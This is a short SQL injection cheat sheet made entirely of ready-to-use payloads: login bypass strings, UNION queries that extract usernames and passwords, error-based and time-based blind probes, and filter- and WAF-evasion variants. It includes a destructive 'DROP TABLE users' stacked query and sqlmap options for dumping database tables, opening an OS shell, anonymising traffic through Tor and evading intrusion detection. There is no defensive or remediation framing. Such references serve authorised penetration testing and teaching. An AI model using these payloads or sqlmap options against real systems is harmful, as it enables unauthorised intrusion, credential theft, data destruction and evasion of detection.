# SQL Injection (SQLi) Cheatsheet

This cheatsheet provides practical SQL Injection payloads, methodologies, and tool usage. It includes manual testing payloads, automated tools like SQLmap, and advanced evasion techniques.

## 1. Basic SQLi Payloads

These are the first payloads to test for injection:

* ' OR '1'='1
* ' OR 'a'='a
* admin'--
* ' OR 1=1 --
* 1' OR '1'='1'--
* ' UNION SELECT NULL, NULL, NULL--

## 2. Authentication Bypass Payloads

* admin' --
* admin' #
* admin'/\*
* ' or 1=1--
* ' or 'a'='a

## 3. UNION-Based SQL Injection

Union-based SQLi is used to extract data by combining results:

* ' UNION SELECT null,null--
* ' UNION SELECT username,password FROM users--
* ' UNION SELECT table\_name,null FROM information\_schema.tables--

## 4. Error-Based SQL Injection

Error messages can reveal valuable information:

* ' AND 1=CONVERT(int, (SELECT @@version))--
* ' AND 1=CAST((SELECT user()) AS int)--

## 5. Blind SQL Injection

Blind SQLi is used when no errors are shown:

* ' AND 1=1-- (True)
* ' AND 1=2-- (False)
* ' OR SLEEP(5)-- (Time-based)

## 6. SQLmap Tool Usage

SQLmap automates SQL injection attacks. Below are important options:

* -u URL → Target URL
* --dbs → Enumerate available databases
* --tables -D dbname → List tables of a database
* --columns -T tablename -D dbname → List columns of a table
* --dump -T tablename -D dbname → Dump data from a table
* --level=5 --risk=3 → Increase testing depth (more payloads, riskier)
* --os-shell → Get interactive OS shell via SQL injection
* --batch → Run without asking user confirmation
* --tor → Route traffic through TOR for anonymity
* --tamper=between → Use tamper scripts to evade WAF/IDS

## 7. Advanced Evasion Payloads

Payloads to bypass filters and WAF:

* ' OR 1=1#
* admin'/\*\*/OR/\*\*/'1'='1
* ' OR '1'='1' { %00 }
* 1; DROP TABLE users--
* '/\*!50000 UNION SELECT user,password FROM users\*/